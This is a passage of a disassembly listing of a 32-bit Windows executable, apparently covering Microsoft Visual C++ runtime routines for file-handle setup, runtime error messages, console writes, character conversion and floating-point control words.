call dword_418174 ; FreeEnvironmentStringsA
mov eax, esi
jmp short loc_4143AC
; ---------------------------------------------------------------------------
loc_4143AA: ; CODE XREF: sub_414281+39j
; sub_414281+61j ...
xor eax, eax
loc_4143AC: ; CODE XREF: sub_414281+D6j
; sub_414281+127j
pop edi
pop esi
pop ebp
pop ebx
pop ecx
pop ecx
retn
sub_414281 endp
; =============== S U B R O U T I N E =======================================
sub_4143B3 proc near ; CODE XREF: sub_40EB84+6Fp
var_44 = byte ptr -44h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
sub esp, 44h
push ebx
push ebp
push esi
push edi
push 100h
call sub_40CCCF
mov esi, eax
pop ecx
test esi, esi
jnz short loc_4143D3
push 1Bh
call sub_40EC7A
pop ecx
loc_4143D3: ; CODE XREF: sub_4143B3+16j
mov dword_4830E0, esi
mov dword_4831E0, 20h
lea eax, [esi+100h]
loc_4143E9: ; CODE XREF: sub_4143B3+52j
cmp esi, eax
jnb short loc_414407
and byte ptr [esi+4], 0
or dword ptr [esi], 0FFFFFFFFh
mov byte ptr [esi+5], 0Ah
mov eax, dword_4830E0
add esi, 8
add eax, 100h
jmp short loc_4143E9
; ---------------------------------------------------------------------------
loc_414407: ; CODE XREF: sub_4143B3+38j
lea eax, [esp+54h+var_44]
push eax
call dword_418128 ; GetStartupInfoA
cmp word ptr [esp+54h+var_14+2], 0
jz loc_4144E3
mov eax, [esp+54h+var_10]
test eax, eax
jz loc_4144E3
mov esi, [eax]
lea ebp, [eax+4]
mov eax, 800h
cmp esi, eax
lea ebx, [esi+ebp]
jl short loc_41443D
mov esi, eax
loc_41443D: ; CODE XREF: sub_4143B3+86j
cmp dword_4831E0, esi
jge short loc_414497
mov edi, offset dword_4830E4
loc_41444A: ; CODE XREF: sub_4143B3+DAj
push 100h
call sub_40CCCF
test eax, eax
pop ecx
jz short loc_414491
add dword_4831E0, 20h
mov [edi], eax
lea ecx, [eax+100h]
loc_414468: ; CODE XREF: sub_4143B3+CFj
cmp eax, ecx
jnb short loc_414484
and byte ptr [eax+4], 0
or dword ptr [eax], 0FFFFFFFFh
mov byte ptr [eax+5], 0Ah
mov ecx, [edi]
add eax, 8
add ecx, 100h
jmp short loc_414468
; ---------------------------------------------------------------------------
loc_414484: ; CODE XREF: sub_4143B3+B7j
add edi, 4
cmp dword_4831E0, esi
jl short loc_41444A
jmp short loc_414497
; ---------------------------------------------------------------------------
loc_414491: ; CODE XREF: sub_4143B3+A4j
mov esi, dword_4831E0
loc_414497: ; CODE XREF: sub_4143B3+90j
; sub_4143B3+DCj
xor edi, edi
test esi, esi
jle short loc_4144E3
loc_41449D: ; CODE XREF: sub_4143B3+12Ej
mov eax, [ebx]
cmp eax, 0FFFFFFFFh
jz short loc_4144DA
mov cl, [ebp+0]
test cl, 1
jz short loc_4144DA
test cl, 8
jnz short loc_4144BC
push eax
call dword_418030 ; GetFileType
test eax, eax
jz short loc_4144DA
loc_4144BC: ; CODE XREF: sub_4143B3+FCj
mov eax, edi
mov ecx, edi
sar eax, 5
and ecx, 1Fh
mov eax, dword_4830E0[eax*4]
lea eax, [eax+ecx*8]
mov ecx, [ebx]
mov [eax], ecx
mov cl, [ebp+0]
mov [eax+4], cl
loc_4144DA: ; CODE XREF: sub_4143B3+EFj
; sub_4143B3+F7j ...
inc edi
inc ebp
add ebx, 4
cmp edi, esi
jl short loc_41449D
loc_4144E3: ; CODE XREF: sub_4143B3+65j
; sub_4143B3+71j ...
xor ebx, ebx
loc_4144E5: ; CODE XREF: sub_4143B3+195j
mov eax, dword_4830E0
cmp dword ptr [eax+ebx*8], 0FFFFFFFFh
lea esi, [eax+ebx*8]
jnz short loc_414540
test ebx, ebx
mov byte ptr [esi+4], 81h
jnz short loc_414500
push 0FFFFFFF6h
pop eax
jmp short loc_41450A
; ---------------------------------------------------------------------------
loc_414500: ; CODE XREF: sub_4143B3+146j
mov eax, ebx
dec eax
neg eax
sbb eax, eax
add eax, 0FFFFFFF5h
loc_41450A: ; CODE XREF: sub_4143B3+14Bj
push eax
call dword_418034 ; GetStdHandle
mov edi, eax
cmp edi, 0FFFFFFFFh
jz short loc_41452F
push edi
call dword_418030 ; GetFileType
test eax, eax
jz short loc_41452F
and eax, 0FFh
mov [esi], edi
cmp eax, 2
jnz short loc_414535
loc_41452F: ; CODE XREF: sub_4143B3+163j
; sub_4143B3+16Ej
or byte ptr [esi+4], 40h
jmp short loc_414544
; ---------------------------------------------------------------------------
loc_414535: ; CODE XREF: sub_4143B3+17Aj
cmp eax, 3
jnz short loc_414544
or byte ptr [esi+4], 8
jmp short loc_414544
; ---------------------------------------------------------------------------
loc_414540: ; CODE XREF: sub_4143B3+13Ej
or byte ptr [esi+4], 80h
loc_414544: ; CODE XREF: sub_4143B3+180j
; sub_4143B3+185j ...
inc ebx
cmp ebx, 3
jl short loc_4144E5
push dword_4831E0
call dword_418038 ; LockResource
pop edi
pop esi
pop ebp
pop ebx
add esp, 44h
retn
sub_4143B3 endp
; ---------------------------------------------------------------------------
align 10h
push esi
inc ebx
xor dh, [eax]
pop eax
inc ebx
xor [eax], dh
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_414568 proc near ; DATA XREF: sub_40EB84+Ao
; sub_412530+Ao ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
push ebp
cld
mov ebx, [ebp+arg_4]
mov eax, [ebp+arg_0]
test dword ptr [eax+4], 6
jnz loc_414608
mov [ebp+var_8], eax
mov eax, [ebp+arg_8]
mov [ebp+var_4], eax
lea eax, [ebp+var_8]
mov [ebx-4], eax
mov esi, [ebx+0Ch]
mov edi, [ebx+8]
loc_41459B: ; CODE XREF: sub_414568+90j
cmp esi, 0FFFFFFFFh
jz short loc_414601
lea ecx, [esi+esi*2]
cmp dword ptr [edi+ecx*4+4], 0
jz short loc_4145EF
push esi
push ebp
lea ebp, [ebx+10h]
call dword ptr [edi+ecx*4+4]
pop ebp
pop esi
mov ebx, [ebp+arg_4]
or eax, eax
jz short loc_4145EF
js short loc_4145FA
mov edi, [ebx+8]
push ebx
call sub_40D2E8
add esp, 4
lea ebp, [ebx+10h]
push esi
push ebx
call sub_40D32A
add esp, 8
lea ecx, [esi+esi*2]
push 1
mov eax, [edi+ecx*4+8]
call sub_40D3BE
mov eax, [edi+ecx*4]
mov [ebx+0Ch], eax
call dword ptr [edi+ecx*4+8]
loc_4145EF: ; CODE XREF: sub_414568+40j
; sub_414568+52j
mov edi, [ebx+8]
lea ecx, [esi+esi*2]
mov esi, [edi+ecx*4]
jmp short loc_41459B
; ---------------------------------------------------------------------------
loc_4145FA: ; CODE XREF: sub_414568+54j
mov eax, 0
jmp short loc_41461D
; ---------------------------------------------------------------------------
loc_414601: ; CODE XREF: sub_414568+36j
mov eax, 1
jmp short loc_41461D
; ---------------------------------------------------------------------------
loc_414608: ; CODE XREF: sub_414568+18j
push ebp
lea ebp, [ebx+10h]
push 0FFFFFFFFh
push ebx
call sub_40D32A
add esp, 8
pop ebp
mov eax, 1
loc_41461D: ; CODE XREF: sub_414568+97j
; sub_414568+9Ej
pop ebp
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_414568 endp
; ---------------------------------------------------------------------------
push ebp
mov ecx, [esp+8]
mov ebp, [ecx]
mov eax, [ecx+1Ch]
push eax
mov eax, [ecx+18h]
push eax
call sub_40D32A
add esp, 8
pop ebp
retn 4
; =============== S U B R O U T I N E =======================================
sub_414640 proc near ; CODE XREF: sub_40EC7A+9p
; sub_40EC9F+9p
mov eax, dword_481E10
cmp eax, 1
jz short loc_414657
test eax, eax
jnz short locret_414678
cmp dword_41FC74, 1
jnz short locret_414678
loc_414657: ; CODE XREF: sub_414640+8j
push 0FCh
call sub_414679
mov eax, dword_481F7C
pop ecx
test eax, eax
jz short loc_41466D
call eax
loc_41466D: ; CODE XREF: sub_414640+29j
push 0FFh
call sub_414679
pop ecx
locret_414678: ; CODE XREF: sub_414640+Cj
; sub_414640+15j
retn
sub_414640 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_414679 proc near ; CODE XREF: sub_40EC7A+12p
; sub_40EC9F+12p ...
var_1A4 = byte ptr -1A4h
var_A0 = byte ptr -0A0h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1A4h
mov edx, [ebp+arg_0]
xor ecx, ecx
mov eax, offset dword_422300
loc_41468C: ; CODE XREF: sub_414679+20j
cmp edx, [eax]
jz short loc_41469B
add eax, 8
inc ecx
cmp eax, offset off_422390
jl short loc_41468C
loc_41469B: ; CODE XREF: sub_414679+15j
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword_422300[esi]
jnz loc_4147C9
mov eax, dword_481E10
cmp eax, 1
jz loc_4147A3
test eax, eax
jnz short loc_4146CC
cmp dword_41FC74, 1
jz loc_4147A3
loc_4146CC: ; CODE XREF: sub_414679+44j
cmp edx, 0FCh
jz loc_4147C9
lea eax, [ebp+var_1A4]
push 104h
push eax
push 0
call dword_41804C ; GetModuleFileNameA
test eax, eax
jnz short loc_414703
lea eax, [ebp+var_1A4]
push offset aProgramNameUnk ; "<program name unknown>"
push eax
call sub_40E3C0
pop ecx
pop ecx
loc_414703: ; CODE XREF: sub_414679+75j
lea eax, [ebp+var_1A4]
push edi
push eax
lea edi, [ebp+var_1A4]
call sub_40CBC0
inc eax
pop ecx
cmp eax, 3Ch
jbe short loc_414746
lea eax, [ebp+var_1A4]
push eax
call sub_40CBC0
mov edi, eax
lea eax, [ebp+var_1A4]
sub eax, 3Bh
push 3
add edi, eax
push offset a___ ; "..."
push edi
call sub_40C720
add esp, 10h
loc_414746: ; CODE XREF: sub_414679+A2j
lea eax, [ebp+var_A0]
push offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: "
push eax
call sub_40E3C0
lea eax, [ebp+var_A0]
push edi
push eax
call sub_40E3D0
lea eax, [ebp+var_A0]
push offset asc_418B3C ; "\n\n"
push eax
call sub_40E3D0
push off_422304[esi]
lea eax, [ebp+var_A0]
push eax
call sub_40E3D0
push 12010h
lea eax, [ebp+var_A0]
push offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library"
push eax
call sub_416004
add esp, 2Ch
pop edi
jmp short loc_4147C9
; ---------------------------------------------------------------------------
loc_4147A3: ; CODE XREF: sub_414679+3Cj
; sub_414679+4Dj
lea eax, [ebp+arg_0]
lea esi, off_422304[esi]
push 0
push eax
push dword ptr [esi]
call sub_40CBC0
pop ecx
push eax
push dword ptr [esi]
push 0FFFFFFF4h
call dword_418034 ; GetStdHandle
push eax
call dword_418080 ; WriteFile
loc_4147C9: ; CODE XREF: sub_414679+2Ej
; sub_414679+59j ...
pop esi
leave
retn
sub_414679 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4147CC proc near ; CODE XREF: sub_40ECC3+95p
; sub_40ECC3+E8p ...
var_414 = byte ptr -414h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 414h
mov ecx, [ebp+arg_0]
push ebx
cmp ecx, dword_4831E0
push esi
push edi
jnb loc_414960
mov eax, ecx
mov esi, ecx
sar eax, 5
and esi, 1Fh
lea ebx, ds:4830E0h[eax*4]
shl esi, 3
mov eax, [ebx]
mov al, [eax+esi+4]
test al, 1
jz loc_414960
xor edi, edi
cmp [ebp+arg_8], edi
mov [ebp+var_8], edi
mov [ebp+var_10], edi
jnz short loc_41481D
loc_414816: ; CODE XREF: sub_4147CC+177j
xor eax, eax
jmp loc_414974
; ---------------------------------------------------------------------------
loc_41481D: ; CODE XREF: sub_4147CC+48j
test al, 20h
jz short loc_41482D
push 2
push edi
push ecx
call sub_413BAD
add esp, 0Ch
loc_41482D: ; CODE XREF: sub_4147CC+53j
mov eax, [ebx]
add eax, esi
test byte ptr [eax+4], 80h
jz loc_4148FC
mov eax, [ebp+arg_4]
cmp [ebp+arg_8], edi
mov [ebp+var_4], eax
mov [ebp+arg_0], edi
jbe loc_414934
loc_41484D: ; CODE XREF: sub_4147CC+F5j
lea eax, [ebp+var_414]
loc_414853: ; CODE XREF: sub_4147CC+B9j
mov ecx, [ebp+var_4]
sub ecx, [ebp+arg_4]
cmp ecx, [ebp+arg_8]
jnb short loc_414887
mov ecx, [ebp+var_4]
inc [ebp+var_4]
mov cl, [ecx]
cmp cl, 0Ah
jnz short loc_414872
inc [ebp+var_10]
mov byte ptr [eax], 0Dh
inc eax
loc_414872: ; CODE XREF: sub_4147CC+9Dj
mov [eax], cl
inc eax
mov ecx, eax
lea edx, [ebp+var_414]
sub ecx, edx
cmp ecx, 400h
jl short loc_414853
loc_414887: ; CODE XREF: sub_4147CC+90j
mov edi, eax
lea eax, [ebp+var_414]
sub edi, eax
lea eax, [ebp+var_C]
push 0
push eax
lea eax, [ebp+var_414]
push edi
push eax
mov eax, [ebx]
push dword ptr [eax+esi]
call dword_418080 ; WriteFile
test eax, eax
jz short loc_4148F1
mov eax, [ebp+var_C]
add [ebp+var_8], eax
cmp eax, edi
jl short loc_4148C3
mov eax, [ebp+var_4]
sub eax, [ebp+arg_4]
cmp eax, [ebp+arg_8]
jb short loc_41484D
loc_4148C3: ; CODE XREF: sub_4147CC+EAj
; sub_4147CC+12Ej
xor edi, edi
loc_4148C5: ; CODE XREF: sub_4147CC+150j
; sub_4147CC+15Bj
mov eax, [ebp+var_8]
cmp eax, edi
jnz loc_41495B
cmp [ebp+arg_0], edi
jz short loc_414934
push 5
pop eax
cmp [ebp+arg_0], eax
jnz short loc_414929
mov dword_481DBC, 9
mov dword_481DC0, eax
jmp loc_414971
; ---------------------------------------------------------------------------
loc_4148F1: ; CODE XREF: sub_4147CC+E0j
call dword_418044 ; RtlGetLastWin32Error
mov [ebp+arg_0], eax
jmp short loc_4148C3
; ---------------------------------------------------------------------------
loc_4148FC: ; CODE XREF: sub_4147CC+69j
lea ecx, [ebp+var_C]
push edi
push ecx
push [ebp+arg_8]
push [ebp+arg_4]
push dword ptr [eax]
call dword_418080 ; WriteFile
test eax, eax
jz short loc_41491E
mov eax, [ebp+var_C]
mov [ebp+arg_0], edi
mov [ebp+var_8], eax
jmp short loc_4148C5
; ---------------------------------------------------------------------------
loc_41491E: ; CODE XREF: sub_4147CC+145j
call dword_418044 ; RtlGetLastWin32Error
mov [ebp+arg_0], eax
jmp short loc_4148C5
; ---------------------------------------------------------------------------
loc_414929: ; CODE XREF: sub_4147CC+10Fj
push [ebp+arg_0]
call sub_413260
pop ecx
jmp short loc_414971
; ---------------------------------------------------------------------------
loc_414934: ; CODE XREF: sub_4147CC+7Bj
; sub_4147CC+107j
mov eax, [ebx]
test byte ptr [eax+esi+4], 40h
jz short loc_414949
mov eax, [ebp+arg_4]
cmp byte ptr [eax], 1Ah
jz loc_414816
loc_414949: ; CODE XREF: sub_4147CC+16Fj
mov dword_481DBC, 1Ch
mov dword_481DC0, edi
jmp short loc_414971
; ---------------------------------------------------------------------------
loc_41495B: ; CODE XREF: sub_4147CC+FEj
sub eax, [ebp+var_10]
jmp short loc_414974
; ---------------------------------------------------------------------------
loc_414960: ; CODE XREF: sub_4147CC+15j
; sub_4147CC+37j
and dword_481DC0, 0
mov dword_481DBC, 9
loc_414971: ; CODE XREF: sub_4147CC+120j
; sub_4147CC+166j ...
or eax, 0FFFFFFFFh
loc_414974: ; CODE XREF: sub_4147CC+4Cj
; sub_4147CC+192j
pop edi
pop esi
pop ebx
leave
retn
sub_4147CC endp
; =============== S U B R O U T I N E =======================================
sub_414979 proc near ; CODE XREF: sub_40ECC3+6Cp
; sub_412DA9+32p ...
arg_0 = dword ptr 4
inc dword_481F80
push 1000h
call sub_40CCCF
pop ecx
mov ecx, [esp+arg_0]
test eax, eax
mov [ecx+8], eax
jz short loc_4149A2
or dword ptr [ecx+0Ch], 8
mov dword ptr [ecx+18h], 1000h
jmp short loc_4149B3
; ---------------------------------------------------------------------------
loc_4149A2: ; CODE XREF: sub_414979+1Aj
or dword ptr [ecx+0Ch], 4
lea eax, [ecx+14h]
mov [ecx+8], eax
mov dword ptr [ecx+18h], 2
loc_4149B3: ; CODE XREF: sub_414979+27j
mov eax, [ecx+8]
and dword ptr [ecx+4], 0
mov [ecx], eax
retn
sub_414979 endp
; =============== S U B R O U T I N E =======================================
sub_4149BD proc near ; CODE XREF: sub_40ECC3+61p
; sub_413AE3+8p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
cmp eax, dword_4831E0
jb short loc_4149CC
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_4149CC: ; CODE XREF: sub_4149BD+Aj
mov ecx, eax
and eax, 1Fh
sar ecx, 5
mov ecx, dword_4830E0[ecx*4]
mov al, [ecx+eax*8+4]
and eax, 40h
retn
sub_4149BD endp
; =============== S U B R O U T I N E =======================================
sub_4149E3 proc near ; DATA XREF: .nsp0:0041A01Co
mov eax, dword_4830C0
push esi
push 14h
test eax, eax
pop esi
jnz short loc_4149F7
mov eax, 200h
jmp short loc_4149FD
; ---------------------------------------------------------------------------
loc_4149F7: ; CODE XREF: sub_4149E3+Bj
cmp eax, esi
jge short loc_414A02
mov eax, esi
loc_4149FD: ; CODE XREF: sub_4149E3+12j
mov dword_4830C0, eax
loc_414A02: ; CODE XREF: sub_4149E3+16j
push 4
push eax
call sub_41608D
pop ecx
mov dword_4820B0, eax
test eax, eax
pop ecx
jnz short loc_414A36
push 4
push esi
mov dword_4830C0, esi
call sub_41608D
pop ecx
mov dword_4820B0, eax
test eax, eax
pop ecx
jnz short loc_414A36
push 1Ah
call sub_40EC7A
pop ecx
loc_414A36: ; CODE XREF: sub_4149E3+30j
; sub_4149E3+49j
xor ecx, ecx
mov eax, offset off_422390
loc_414A3D: ; CODE XREF: sub_4149E3+6Ej
mov edx, dword_4820B0
mov [ecx+edx], eax
add eax, 20h
add ecx, 4
cmp eax, offset dword_422610
jl short loc_414A3D
xor edx, edx
mov ecx, offset dword_4223A0
loc_414A5A: ; CODE XREF: sub_4149E3+A1j
mov eax, edx
mov esi, edx
sar eax, 5
and esi, 1Fh
mov eax, dword_4830E0[eax*4]
mov eax, [eax+esi*8]
cmp eax, 0FFFFFFFFh
jz short loc_414A77
test eax, eax
jnz short loc_414A7A
loc_414A77: ; CODE XREF: sub_4149E3+8Ej
or dword ptr [ecx], 0FFFFFFFFh
loc_414A7A: ; CODE XREF: sub_4149E3+92j
add ecx, 20h
inc edx
cmp ecx, offset dword_422400
jl short loc_414A5A
pop esi
retn
sub_4149E3 endp
; =============== S U B R O U T I N E =======================================
sub_414A88 proc near ; DATA XREF: .nsp0:0041A02Co
; FUNCTION CHUNK AT 0041613E SIZE 00000058 BYTES
call sub_412D33
cmp byte_481DFC, 0
jz short locret_414A9B
jmp loc_41613E
; ---------------------------------------------------------------------------
locret_414A9B: ; CODE XREF: sub_414A88+Cj
retn
sub_414A88 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_414A9C proc near ; CODE XREF: sub_40EDD8+2D4p
; sub_40EDD8+6B3p
arg_0 = dword ptr 8
arg_4 = word ptr 0Ch
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
test eax, eax
jnz short loc_414AA8
pop ebp
retn
; ---------------------------------------------------------------------------
loc_414AA8: ; CODE XREF: sub_414A9C+8j
cmp dword_481E4C, 0
jnz short loc_414AC3
mov cx, [ebp+arg_4]
cmp cx, 0FFh
ja short loc_414AF5
push 1
mov [eax], cl
pop eax
pop ebp
retn
; ---------------------------------------------------------------------------
loc_414AC3: ; CODE XREF: sub_414A9C+13j
lea ecx, [ebp+arg_0]
and [ebp+arg_0], 0
push ecx
push 0
push dword_422004
push eax
lea eax, [ebp+arg_4]
push 1
push eax
push 220h
push dword_481E5C
call dword_4180C8 ; WideCharToMultiByte
test eax, eax
jz short loc_414AF5
cmp [ebp+arg_0], 0
jz short loc_414B02
loc_414AF5: ; CODE XREF: sub_414A9C+1Ej
; sub_414A9C+51j
mov dword_481DBC, 2Ah
or eax, 0FFFFFFFFh
loc_414B02: ; CODE XREF: sub_414A9C+57j
pop ebp
retn
sub_414A9C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_414B04 proc near ; CODE XREF: sub_40F5E2+6A3p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ebx
push esi
mov esi, [ebp+arg_4]
xor ebx, ebx
cmp esi, ebx
jz short loc_414B27
cmp [ebp+arg_8], ebx
jz short loc_414B27
mov al, [esi]
cmp al, bl
jnz short loc_414B2D
mov eax, [ebp+arg_0]
cmp eax, ebx
jz short loc_414B27
mov [eax], bx
loc_414B27: ; CODE XREF: sub_414B04+Cj
; sub_414B04+11j ...
xor eax, eax
loc_414B29: ; CODE XREF: sub_414B04+42j
; sub_414B04+86j ...
pop esi
pop ebx
pop ebp
retn
; ---------------------------------------------------------------------------
loc_414B2D: ; CODE XREF: sub_414B04+17j
cmp dword_481E4C, ebx
jnz short loc_414B48
mov ecx, [ebp+arg_0]
cmp ecx, ebx
jz short loc_414B43
movzx ax, al
mov [ecx], ax
loc_414B43: ; CODE XREF: sub_414B04+36j
; sub_414B04+C0j
push 1
pop eax
jmp short loc_414B29
; ---------------------------------------------------------------------------
loc_414B48: ; CODE XREF: sub_414B04+2Fj
mov ecx, off_421DF8
movzx eax, al
test byte ptr [ecx+eax*2+1], 80h
jz short loc_414BA5
mov eax, dword_422004
cmp eax, 1
jle short loc_414B8C
cmp [ebp+arg_8], eax
jl short loc_414B96
xor ecx, ecx
cmp [ebp+arg_0], ebx
setnz cl
push ecx
push [ebp+arg_0]
push eax
push esi
push 9
push dword_481E5C
call dword_4180CC ; MultiByteToWideChar
test eax, eax
mov eax, dword_422004
jnz short loc_414B29
loc_414B8C: ; CODE XREF: sub_414B04+5Cj
cmp [ebp+arg_8], eax
jb short loc_414B96
cmp [esi+1], bl
jnz short loc_414B29
loc_414B96: ; CODE XREF: sub_414B04+61j
; sub_414B04+8Bj ...
mov dword_481DBC, 2Ah
or eax, 0FFFFFFFFh
jmp short loc_414B29
; ---------------------------------------------------------------------------
loc_414BA5: ; CODE XREF: sub_414B04+52j
xor eax, eax
cmp [ebp+arg_0], ebx
setnz al
push eax
push [ebp+arg_0]
push 1
push esi
push 9
push dword_481E5C
call dword_4180CC ; MultiByteToWideChar
test eax, eax
jnz loc_414B43
jmp short loc_414B96
sub_414B04 endp
; =============== S U B R O U T I N E =======================================
sub_414BCC proc near ; CODE XREF: sub_40F5E2+76p
; sub_40F5E2+88p ...
arg_0 = dword ptr 4
cmp dword_422004, 1
jle short loc_414BE3
push 8
push [esp+4+arg_0]
call sub_412B49
pop ecx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_414BE3: ; CODE XREF: sub_414BCC+7j
mov eax, [esp+arg_0]
mov ecx, off_421DF8
mov al, [ecx+eax*2]
and eax, 8
retn
sub_414BCC endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_414C00 proc near ; CODE XREF: sub_40F5E2+797p
; sub_40F5E2+7E7p
cmp cl, 40h
jnb short loc_414C1A
cmp cl, 20h
jnb short loc_414C10
shld edx, eax, cl
shl eax, cl
retn
; ---------------------------------------------------------------------------
loc_414C10: ; CODE XREF: sub_414C00+8j
mov edx, eax
xor eax, eax
and cl, 1Fh
shl edx, cl
retn
; ---------------------------------------------------------------------------
loc_414C1A: ; CODE XREF: sub_414C00+3j
xor eax, eax
xor edx, edx
retn
sub_414C00 endp
; =============== S U B R O U T I N E =======================================
sub_414C1F proc near ; CODE XREF: sub_410058+Fp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
mov ebx, [esp+4+arg_0]
cmp ebx, 0FFFFFFFFh
push esi
jz short loc_414C6B
mov esi, [esp+8+arg_4]
mov eax, [esi+0Ch]
test al, 1
jnz short loc_414C3D
test al, 80h
jz short loc_414C6B
test al, 2
jnz short loc_414C6B
loc_414C3D: ; CODE XREF: sub_414C1F+14j
cmp dword ptr [esi+8], 0
jnz short loc_414C4A
push esi
call sub_414979
pop ecx
loc_414C4A: ; CODE XREF: sub_414C1F+22j
mov eax, [esi]
cmp eax, [esi+8]
jnz short loc_414C5A
cmp dword ptr [esi+4], 0
jnz short loc_414C6B
inc eax
mov [esi], eax
loc_414C5A: ; CODE XREF: sub_414C1F+30j
test byte ptr [esi+0Ch], 40h
jz short loc_414C71
dec dword ptr [esi]
mov eax, [esi]
cmp [eax], bl
jz short loc_414C77
inc eax
mov [esi], eax
loc_414C6B: ; CODE XREF: sub_414C1F+9j
; sub_414C1F+18j ...
or eax, 0FFFFFFFFh
loc_414C6E: ; CODE XREF: sub_414C1F+6Cj
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_414C71: ; CODE XREF: sub_414C1F+3Fj
dec dword ptr [esi]
mov eax, [esi]
mov [eax], bl
loc_414C77: ; CODE XREF: sub_414C1F+47j
mov eax, [esi+0Ch]
inc dword ptr [esi+4]
and al, 0EFh
or al, 1
mov [esi+0Ch], eax
mov eax, ebx
and eax, 0FFh
jmp short loc_414C6E
sub_414C1F endp
; =============== S U B R O U T I N E =======================================
sub_414C8D proc near ; CODE XREF: sub_411A49+52p
xor eax, eax
retn
sub_414C8D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_414C90 proc near ; CODE XREF: sub_414CC5+Ep
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push esi
fstcw word ptr [ebp+var_4]
push [ebp+var_4]
call sub_414CDB
mov esi, eax
mov eax, [ebp+arg_4]
not eax
and esi, eax
mov eax, [ebp+arg_0]
and eax, [ebp+arg_4]
or esi, eax
push esi
call sub_414D6D
pop ecx
mov [ebp+arg_4], eax
pop ecx
fldcw word ptr [ebp+arg_4]
mov eax, esi
pop esi
leave
retn
sub_414C90 endp
; =============== S U B R O U T I N E =======================================
sub_414CC5 proc near ; CODE XREF: sub_411D35+Ap
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
and eax, 0FFF7FFFFh
push eax
push [esp+4+arg_0]
call sub_414C90
pop ecx
pop ecx
retn
sub_414CC5 endp
; =============== S U B R O U T I N E =======================================
sub_414CDB proc near ; CODE XREF: sub_414C90+Cp
arg_0 = dword ptr 4
push ebx
mov ebx, [esp+4+arg_0]
xor eax, eax
push ebp
test bl, 1
push edi
jz short loc_414CEC
push 10h
pop eax
loc_414CEC: ; CODE XREF: sub_414CDB+Cj
test bl, 4
jz short loc_414CF3
or al, 8
loc_414CF3: ; CODE XREF: sub_414CDB+14j
test bl, 8
jz short loc_414CFA
or al, 4
loc_414CFA: ; CODE XREF: sub_414CDB+1Bj
test bl, 10h
jz short loc_414D01
or al, 2
loc_414D01: ; CODE XREF: sub_414CDB+22j
test bl, 20h
jz short loc_414D08
or al, 1
loc_414D08: ; CODE XREF: sub_414CDB+29j
test bl, 2
jz short loc_414D12
or eax, 80000h
loc_414D12: ; CODE XREF: sub_414CDB+30j
movzx ecx, bx
push esi
mov edx, ecx
mov esi, 0C00h
mov edi, 300h
and edx, esi
mov ebp, 200h
jz short loc_414D4A
cmp edx, 400h
jz short loc_414D47
cmp edx, 800h
jz short loc_414D43
cmp edx, esi
jnz short loc_414D4A
or eax, edi
jmp short loc_414D4A
; ---------------------------------------------------------------------------
loc_414D43: ; CODE XREF: sub_414CDB+5Ej
or eax, ebp
jmp short loc_414D4A
; ---------------------------------------------------------------------------
loc_414D47: ; CODE XREF: sub_414CDB+56j
or ah, 1
loc_414D4A: ; CODE XREF: sub_414CDB+4Ej
; sub_414CDB+62j ...
and ecx, edi
pop esi
jz short loc_414D5A
cmp ecx, ebp
jnz short loc_414D5F
or eax, 10000h
jmp short loc_414D5F
; ---------------------------------------------------------------------------
loc_414D5A: ; CODE XREF: sub_414CDB+72j
or eax, 20000h
loc_414D5F: ; CODE XREF: sub_414CDB+76j
; sub_414CDB+7Dj
pop edi
pop ebp
test bh, 10h
pop ebx
jz short locret_414D6C
or eax, 40000h
locret_414D6C: ; CODE XREF: sub_414CDB+8Aj
retn
sub_414CDB endp
; =============== S U B R O U T I N E =======================================
sub_414D6D proc near ; CODE XREF: sub_414C90+23p
arg_0 = dword ptr 4
push ebx
mov ebx, [esp+4+arg_0]
xor eax, eax
push esi
test bl, 10h
jz short loc_414D7D
push 1
pop eax
loc_414D7D: ; CODE XREF: sub_414D6D+Bj
test bl, 8
jz short loc_414D84
or al, 4
loc_414D84: ; CODE XREF: sub_414D6D+13j
test bl, 4
jz short loc_414D8B
or al, 8
loc_414D8B: ; CODE XREF: sub_414D6D+1Aj
test bl, 2
jz short loc_414D92
or al, 10h
loc_414D92: ; CODE XREF: sub_414D6D+21j
test bl, 1
jz short loc_414D99
or al, 20h
loc_414D99: ; CODE XREF: sub_414D6D+28j
test ebx, 80000h
jz short loc_414DA3
or al, 2
loc_414DA3: ; CODE XREF: sub_414D6D+32j
mov ecx, ebx
mov edx, 300h
and ecx, edx
mov esi, 200h
jz short loc_414DD0
cmp ecx, 100h
jz short loc_414DCD
cmp ecx, esi
jz short loc_414DC8
cmp ecx, edx
jnz short loc_414DD0
or ah, 0Ch
jmp short loc_414DD0
; ---------------------------------------------------------------------------
loc_414DC8: ; CODE XREF: sub_414D6D+50j
or ah, 8
jmp short loc_414DD0
